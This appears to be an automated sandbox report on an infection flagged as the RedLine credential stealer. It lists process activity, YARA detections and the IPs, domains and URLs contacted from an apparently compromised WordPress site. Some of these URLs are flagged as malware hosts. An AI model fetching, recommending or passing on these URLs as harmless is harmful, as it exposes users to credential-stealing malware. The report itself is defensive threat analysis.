Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\msiexec.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Queries volume information: C:\Users\user\AppData\Local\Temp\eacff6b2 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Queries volume information: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information
barindex
Yara detected RedLine Stealer
Source: Yara match File source: 00000018.00000002.2339459930.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2322679135.00000000074A4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2257443246.0000000004651000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Credential Stealer
Source: Yara match File source: 00000018.00000002.2339459930.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2322679135.00000000074A4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2257443246.0000000004651000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected RedLine Stealer
Source: Yara match File source: 00000018.00000002.2339459930.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2322679135.00000000074A4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2257443246.0000000004651000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
149.248.78.209
 unknown Canada
36445 COEXTRO-01CA false
184.31.69.3
 unknown United States
20940 AKAMAI-ASN1EU false
142.251.40.206
 unknown United States
15169 GOOGLEUS false
104.21.69.191
 mfktiaoaolfkfjzjk.com United States
13335 CLOUDFLARENETUS true
104.21.80.1
 www.ravinn.com United States
13335 CLOUDFLARENETUS false
172.253.122.84
 unknown United States
15169 GOOGLEUS false
142.250.64.78
 unknown United States
15169 GOOGLEUS false
142.251.32.106
 unknown United States
15169 GOOGLEUS false
104.21.3.74
 hitiotppppalfkjfk.com United States
13335 CLOUDFLARENETUS false
142.250.80.3
 unknown United States
15169 GOOGLEUS false
104.21.96.1
 dajajkfifofjfklaiotjapp.com United States
13335 CLOUDFLARENETUS false
142.251.40.195
 unknown United States
15169 GOOGLEUS false
35.190.80.1
 a.nel.cloudflare.com United States
15169 GOOGLEUS false
151.101.66.133
 klaviyo-app.map.fastly.net United States
54113 FASTLYUS false
172.217.165.136
 unknown United States
15169 GOOGLEUS false
104.21.16.1
 servverifcloud.com United States
13335 CLOUDFLARENETUS true
1.1.1.1
 unknown Australia
13335 CLOUDFLARENETUS false
142.250.65.174
 unknown United States
15169 GOOGLEUS false
142.250.80.99
 unknown United States
15169 GOOGLEUS false
142.251.40.142
 unknown United States
15169 GOOGLEUS false
142.251.40.100
 www.google.com United States
15169 GOOGLEUS false
104.21.27.152
 use.fontawesome.com.cdn.cloudflare.net United States
13335 CLOUDFLARENETUS false
142.250.176.195
 unknown United States
15169 GOOGLEUS false

Private

IP
192.168.2.8
192.168.2.16
192.168.2.7
127.0.0.1

Contacted Domains

Name IP Active
dajajkfifofjfklaiotjapp.com 104.21.96.1 true
a.nel.cloudflare.com 35.190.80.1 true
klaviyo-app.map.fastly.net 151.101.66.133 true
hitiotppppalfkjfk.com 104.21.3.74 true
www.google.com 142.251.40.100 true
use.fontawesome.com.cdn.cloudflare.net 104.21.27.152 true
servverifcloud.com 104.21.16.1 true
www.ravinn.com 104.21.80.1 true
pptpooalfkakktl.com 104.21.96.1 true
klaviyo-onsite.map.fastly.net 151.101.66.133 true
mfktiaoaolfkfjzjk.com 104.21.69.191 true
use.fontawesome.com unknown unknown
static-tracking.klaviyo.com unknown unknown
static.klaviyo.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://www.ravinn.com/wp-content/themes/ravinn/css/main.css?v=1743482759 false
  • Avira URL Cloud: safe
 unknown
https://dajajkfifofjfklaiotjapp.com/main99.js false
  • Avira URL Cloud: safe
 unknown
https://pptpooalfkakktl.com/clou?ts=1743482759 false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/themes/ravinn/js/isotope.pkgd.min.js false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/cdn-cgi/challenge-platform/scripts/jsd/main.js false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2025/03/VEC_logo_RGB.png false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/themes/ravinn/js/splide.min.js false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-includes/css/dist/block-library/style.min.css?ver=6.7.2 false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/themes/ravinn/js/splide-extension-auto-scroll.js false
  • Avira URL Cloud: safe
 unknown
https://use.fontawesome.com/releases/v6.4.2/webfonts/fa-brands-400.woff2 false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/themes/ravinn/css/bootstrap.css?v=1743482759 false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1 false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/ false
  • Avira URL Cloud: safe
 unknown
https://static.klaviyo.com/onsite/js/sharedUtils.db6638454dfe7d02bbcd.js?cb=1 false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2024/01/044-R141223.jpg false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/logo1.png false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2024/01/cropped-favicon-32x32.png false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/12/strategy.jpg false
  • Avira URL Cloud: safe
 unknown
https://use.fontawesome.com/releases/v6.4.2/webfonts/fa-solid-900.woff2 false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/logo3.png false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/veterans.png false
  • Avira URL Cloud: safe
 unknown
https://servverifcloud.com/ true
  • Avira URL Cloud: malware
 unknown
https://static.klaviyo.com/onsite/js/klaviyo.js?company_id=WnvUEf false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2024/01/QS_logo_large-1-e1705392262535.png false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2024/01/AITC.png false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/logo4.png false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/The-Latest.svg false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/logo2.png false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2024/01/Data3.png false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/logo5-e1701428252408.png false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/themes/ravinn/js/bootstrap.js?v=1743482759 false
  • Avira URL Cloud: safe
 unknown
https://use.fontawesome.com/releases/v6.4.2/css/all.css?ver=6.4.2 false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1 false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/The-Team.svg false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/themes/ravinn/css/all.css false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/themes/ravinn/js/script.js?v=1743482759 false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/ravinnlogo.svg false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/About-Ravinn.svg false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/australia.svg false
  • Avira URL Cloud: safe
 unknown
https://a.nel.cloudflare.com/report/v4?s=WebbQp4gn%2Bn6IRiQ7w%2B1HY5cgB7%2FyT5%2B6uhyAGkhyir%2F4dCF0BGS9PMH567Dl5BCOlSA0ci03vZ7ZqkwBrWyJHUUBK3%2FVblD95WA%2F1qIHmeIshd%2FMdDonsySxeXV0RiyHQ%3D%3D false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/cdn-cgi/challenge-platform/h/b/scripts/jsd/708f7a809116/main.js? false
  • Avira URL Cloud: safe
 unknown
https://static.klaviyo.com/onsite/js/runtime.d6f8c2852d4e7a72345c.js?cb=1 false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2024/01/logo.png false
  • Avira URL Cloud: safe
 unknown
https://static-tracking.klaviyo.com/onsite/js/fender_analytics.611d7935dc9085329d0a.js?cb=1 false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/Incident-Response.jpg false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/Cyber-Threat-Intelligence.jpg false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/themes/ravinn/style.css?ver=6.7.2 false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/cdn-cgi/challenge-platform/h/b/jsd/r/0.932140595447164:1743550261:3RXTmiAOa0o7yxUxyRJYnC6zsGV_ZD0UPlPv5Il_yGA/929bf8b6fe1d8cb3 false
  • Avira URL Cloud: safe
 unknown
https://mfktiaoaolfkfjzjk.com/plu true
  • Avira URL Cloud: malware
 unknown
https://www.ravinn.com/wp-content/uploads/2023/11/Ravinn-desktop-1600x800-1.mp4 false
  • Avira URL Cloud: safe
 unknown
https://hitiotppppalfkjfk.com/84.fqo false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/themes/ravinn/css/splide.min.css false
  • Avira URL Cloud: safe
 unknown
https://www.ravinn.com/wp-content/themes/ravinn/js/loadmore.js?ver=6.7.2 false
  • Avira URL Cloud: safe
 unknown
https://static-tracking.klaviyo.com/onsite/js/static.4b8f99d71b7685ee4f53.js?cb=1 false
    		high
    https://www.ravinn.com/wp-content/themes/ravinn/css/responsive.css?v=1743482759 false
    • Avira URL Cloud: safe
    		 unknown